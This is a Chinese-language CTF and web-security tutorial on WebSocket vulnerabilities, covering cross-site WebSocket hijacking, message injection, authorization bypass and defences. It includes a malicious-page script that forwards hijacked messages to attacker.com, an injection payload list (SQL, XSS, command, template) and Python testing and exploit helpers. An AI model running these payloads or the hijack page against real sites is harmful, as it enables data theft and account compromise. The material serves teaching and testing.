WebSocket 安全

本文适合

已掌握基本 Web 安全的学习者。学完你能：识别 WebSocket 握手、认证和消息处理风险，验证 CSWSH、消息注入、越权和协议状态类漏洞

一句话判断

当页面通过 ws:// 或 wss:// 建立长连接，并且登录态、权限、业务动作或用户输入都放在 WebSocket 消息里处理时，就要把它当成独立攻击面分析。

WebSocket 不是“升级后的 HTTP 就安全了”。它的握手走 HTTP，但漏洞常发生在 Origin 校验、连接认证、消息格式、状态同步和服务端对每条消息的授权检查上。

题目中常见信号

• 浏览器 Network 面板出现 WS 类型连接，地址包含 /ws、/socket、/chat、/gateway。
• WebSocket 握手依赖 Cookie 登录态，但服务器不校验 Origin。
• 消息是 JSON，字段包含 action、cmd、room_id、user_id、role、message、token。
• 普通 HTTP 接口鉴权正常，但 WebSocket 消息里改 ID 或 action 后返回敏感数据。
• 聊天、通知、游戏、实时日志、在线客服、管理后台推送等功能能双向通信。
• 前端收到 WebSocket 消息后直接写入 DOM，可能形成存储/反射型 XSS。

核心概念

WebSocket 安全要拆成两层：

1. 连接层：握手是否要求认证，是否校验 Origin，是否使用 WSS，连接建立后是否绑定用户身份。
2. 消息层：每条消息是否重新校验 action、资源归属、字段类型、权限和状态。

很多漏洞来自开发者只在握手时验证一次身份，后续消息默认可信。CTF 中常见利用是跨站 WebSocket 劫持、消息参数越权、消息注入、未授权订阅频道、服务端命令/SQL/模板注入。

最小分析流程

1. 用浏览器 DevTools 或 Burp 记录 WebSocket 握手 URL、Header、Cookie、Origin 和子协议。
2. 保存正常消息序列，标注每条消息的 action、资源 ID、用户 ID 和响应。
3. 用 Burp Repeater、wscat 或 Python 客户端重放消息，确认能否脱离前端发送。
4. 改 Origin 测 CSWSH，改 Cookie/Token 测认证，删认证测未授权连接。
5. 改消息内的 user_id、room_id、role、action，测试越权和状态绕过。
6. 对消息字段按注入面测试 XSS、SQL、命令、SSTI、路径和 JSON 类型混淆。

最小验证示例

先用 wscat 连接并发送正常消息：

wscat -c "wss://target/ws" -H "Cookie: session=USER"
> {"action":"get_profile","user_id":1001}

测试水平越权：

> {"action":"get_profile","user_id":1}

如果返回 admin 信息，说明消息层没有校验资源归属。测试 CSWSH 时，伪造 Origin：

import websocket

ws = websocket.create_connection(
    "wss://target/ws",
    header=["Origin: https://evil.example", "Cookie: session=USER"]
)
ws.send('{"action":"get_profile","user_id":1001}')
print(ws.recv())
ws.close()

若恶意 Origin 也能连接并读取消息，就可以构造跨站页面劫持已登录用户的 WebSocket。

常见利用 / 解题路线

路线总览：

• CSWSH 路线：Cookie 认证 + 不校验 Origin，诱导受害者页面建立连接并外带消息。
• 消息越权路线：修改 user_id、room_id、order_id、channel，读取或操作他人资源。
• 未授权订阅路线：连接后订阅 admin、flag、debug、internal 频道。
• 消息注入路线：在消息字段中测试 SQL、命令、SSTI、XSS，重点看服务端和前端双向处理。
• 状态绕过路线：直接发送后续 action，例如 confirm、claim_flag、admin.getFlag，绕过前端流程。
• DoS/资源路线：大量连接、大消息、畸形 JSON、频繁订阅导致异常，CTF 中多用于辅助而非最终目标。

WebSocket 基础

什么是 WebSocket

WebSocket 是一种在单个 TCP 连接上进行全双工通信的协议。它允许服务器主动向客户端推送数据，实现真正的实时通信。

WebSocket vs HTTP

HTTP：
- 请求-响应模式
- 单向通信（客户端发起）
- 每次请求都建立连接（HTTP/1.1 可以 keep-alive）
- 无状态

WebSocket：
- 全双工通信
- 双向通信（客户端和服务器都可以发起）
- 一次握手，持久连接
- 有状态

WebSocket 握手

客户端请求：
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

服务器响应：
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

WebSocket 漏洞

1. 跨站 WebSocket 劫持（CSWSH）

CSWSH（Cross-Site WebSocket Hijacking）是 CSRF 的 WebSocket 版本

攻击条件：
1. WebSocket 握手依赖 Cookie 认证
2. 服务器未验证 Origin 头
3. 用户已登录目标网站

攻击流程：
1. 攻击者诱导受害者访问恶意页面
2. 恶意页面发起 WebSocket 连接
3. 浏览器自动携带 Cookie
4. 服务器认为是合法连接
5. 攻击者可以发送和接收消息

2. 消息注入

如果 WebSocket 消息未正确验证或过滤：

1. 注入恶意脚本（存储型 XSS）
2. 注入 SQL 语句
3. 注入命令
4. 注入其他攻击 payload

3. 消息篡改

如果 WebSocket 消息未使用 WSS（加密）：

1. 中间人可以读取消息
2. 中间人可以篡改消息
3. 中间人可以注入消息

4. 拒绝服务

WebSocket 连接是持久的，可能导致：

1. 大量连接耗尽服务器资源
2. 大量消息耗尽带宽
3. 恶意消息导致服务器崩溃

WebSocket 攻击示例

CSWSH 攻击

<!-- 恶意页面 -->
<script>
    // 创建 WebSocket 连接
    var ws = new WebSocket('wss://target.com/ws');

    // 连接建立后发送消息
    ws.onopen = function() {
        console.log('连接建立');
        // 发送恶意消息
        ws.send(JSON.stringify({
            action: 'get_user_info',
            user_id: 'admin'
        }));
    };

    // 接收消息
    ws.onmessage = function(event) {
        console.log('收到消息:', event.data);
        // 将数据发送到攻击者服务器
        fetch('https://attacker.com/collect?data=' + encodeURIComponent(event.data));
    };
</script>

消息注入

import websocket
import json

def exploit_websocket(url, message):
    """利用 WebSocket 消息注入"""
    ws = websocket.create_connection(url)

    # 发送消息
    ws.send(message)

    # 接收响应
    result = ws.recv()
    print(f"响应: {result}")

    ws.close()

# 使用示例
# SQL 注入
# exploit_websocket("ws://target.com/ws", "{'query': \"' OR 1=1--\"}")

# XSS
# exploit_websocket("ws://target.com/ws", "{'message': '<script>alert(1)</script>'}")

# 命令注入
# exploit_websocket("ws://target.com/ws", "{'command': 'id; whoami'}")

使用 wscat 测试

# 安装 wscat
npm install -g wscat

# 连接 WebSocket
wscat -c ws://target.com/ws

# 连接 WSS
wscat -c wss://target.com/ws

# 发送消息
> {"action": "test"}

使用 Python websocket-client

import websocket

def test_websocket(url):
    """测试 WebSocket 连接"""
    ws = websocket.create_connection(url)

    # 发送消息
    ws.send("Hello, WebSocket!")

    # 接收响应
    result = ws.recv()
    print(f"响应: {result}")

    # 关闭连接
    ws.close()

# 使用示例
# test_websocket("ws://target.com/ws")

WebSocket 漏洞检测

1. 检测 CSWSH

import websocket
import requests

def test_cswhs(ws_url, origin):
    """测试 CSWSH 漏洞"""
    # 设置自定义 Origin
    header = f"Origin: {origin}"

    try:
        ws = websocket.create_connection(ws_url, header=[header])
        print(f"[!] CSWSH 可能存在: 可以使用 Origin {origin} 连接")
        ws.close()
    except Exception as e:
        print(f"[-] CSWSH 测试失败: {e}")

# 使用示例
# test_cswhs("wss://target.com/ws", "https://evil.com")

2. 检测消息注入

import websocket

def test_message_injection(url, payloads):
    """测试消息注入"""
    ws = websocket.create_connection(url)

    for payload in payloads:
        try:
            ws.send(payload)
            result = ws.recv()
            print(f"[+] Payload: {payload[:50]}...")
            print(f"    响应: {result[:100]}...")
        except Exception as e:
            print(f"[-] 失败: {e}")

    ws.close()

# 测试 payload
payloads = [
    '{"query": "\' OR 1=1--"}',
    '{"message": "<script>alert(1)</script>"}',
    '{"command": "id; whoami"}',
    '{"data": "{{7*7}}"}',
]

# 使用示例
# test_message_injection("ws://target.com/ws", payloads)

3. 检测认证绕过

import websocket

def test_auth_bypass(url):
    """测试认证绕过"""
    # 测试 1: 无认证连接
    try:
        ws = websocket.create_connection(url)
        print("[!] 无认证连接成功")
        ws.close()
    except:
        print("[-] 无认证连接失败")

    # 测试 2: 伪造 Token
    headers = ["Authorization: Bearer fake_token"]
    try:
        ws = websocket.create_connection(url, header=headers)
        print("[!] 伪造 Token 连接成功")
        ws.close()
    except:
        print("[-] 伪造 Token 连接失败")

# 使用示例
# test_auth_bypass("wss://target.com/ws")

WebSocket 安全防御

1. 验证 Origin

# 服务器端验证 Origin 头
allowed_origins = ["https://target.com", "https://www.target.com"]

def check_origin(origin):
    if origin not in allowed_origins:
        raise Exception("Invalid origin")

2. 使用 WSS

始终使用 WSS（WebSocket Secure）而不是 WS
WSS 使用 TLS 加密，防止中间人攻击

3. 消息验证

# 验证消息格式和内容
import json

def validate_message(message):
    try:
        data = json.loads(message)

        # 验证必需字段
        if 'action' not in data:
            raise Exception("Missing action field")

        # 验证数据类型
        if not isinstance(data['action'], str):
            raise Exception("Invalid action type")

        # 验证数据范围
        if len(data['action']) > 100:
            raise Exception("Action too long")

        return data
    except json.JSONDecodeError:
        raise Exception("Invalid JSON")

4. 速率限制

# 限制连接和消息速率
from collections import defaultdict
import time

connection_counts = defaultdict(int)
message_counts = defaultdict(int)

def check_rate_limit(client_ip, max_connections=10, max_messages=100):
    # 检查连接数
    if connection_counts[client_ip] >= max_connections:
        raise Exception("Too many connections")

    # 检查消息数（每分钟）
    current_time = int(time.time() / 60)
    key = f"{client_ip}:{current_time}"
    if message_counts[key] >= max_messages:
        raise Exception("Too many messages")

    message_counts[key] += 1

CTF 中的 WebSocket 题

常见题型

1. CSWSH：利用跨站 WebSocket 劫持
2. 消息注入：注入恶意消息获取 flag
3. 认证绕过：绕过 WebSocket 认证
4. 消息篡改：篡改 WebSocket 消息

解题思路

1. 识别 WebSocket：检查是否有 WebSocket 连接
2. 分析认证：检查认证方式（Cookie、Token 等）
3. 测试漏洞：测试 CSWSH、注入、绕过
4. 构造利用：利用漏洞获取 flag

WebSocket 分析工具

Burp Suite

1. 配置代理拦截 WebSocket
2. 查看 WebSocket 消息
3. 修改并重放消息
4. 使用 Intruder 批量测试

Wireshark

1. 过滤 WebSocket 流量
   websocket

2. 查看 WebSocket 握手
   http.request.uri contains "ws"

3. 分析 WebSocket 消息
   websocket.payload

Chrome DevTools

1. 打开 Network 面板
2. 筛选 WS
3. 查看 WebSocket 连接
4. 查看消息内容
5. 在 Console 中发送消息

常见失败原因

• 以为 WebSocket 和 HTTP 一样安全：WebSocket 消息不会自动经过 HTTP 路由中间件，鉴权和校验可能要单独实现。
• 只看握手不看消息：连接成功只是第一步，真正漏洞常在 action 和资源 ID 上。
• 忽略 Origin 验证：Cookie 会随跨站 WebSocket 握手发送，Origin 是防 CSWSH 的关键边界。
• 不带 Cookie/Token 重放失败就放弃：先复制完整握手 Header，再逐项删减确认认证依赖。
• 只测试文本字段：JSON 类型、数组、对象、布尔值、null 都可能触发服务端解析差异。
• 前端消息注入漏测：服务端返回的 WebSocket 消息如果被 innerHTML 渲染，也可能形成 XSS。
• 用普通 curl 测 WebSocket：curl 只能看到握手，消息重放要用 Burp、wscat、websocket-client 或浏览器 Console。

迷你案例

题目聊天页面建立连接：

wss://target/ws/chat

正常消息是：

{"action":"join","room_id":"public"}
{"action":"history","room_id":"public"}

把 room_id 改成 admin：

{"action":"join","room_id":"admin"}
{"action":"history","room_id":"admin"}

服务器返回管理员房间历史，其中包含 flag。再测试握手 Origin：

websocket.create_connection(
  "wss://target/ws/chat",
  header=["Origin: https://evil.example", "Cookie: session=USER"]
)

连接仍然成功，说明还存在 CSWSH 风险。这个案例的闭环是：发现 WS 连接 -> 保存正常消息 -> 修改频道 ID -> 消息层越权 -> Origin 校验缺失确认。

做题时的归类问题

• 页面使用 WebSocket 通信，先回到 WebSocket安全。
• Network 面板中看到 ws:// 或 wss:// 连接，先回到 WebSocket安全。
• 消息格式是 JSON 且包含用户输入，先回到 WebSocket安全。
• 需要跨站劫持 WebSocket 连接，先回到 WebSocket安全。
• 消息内容被直接渲染到页面，先回到 WebSocket安全。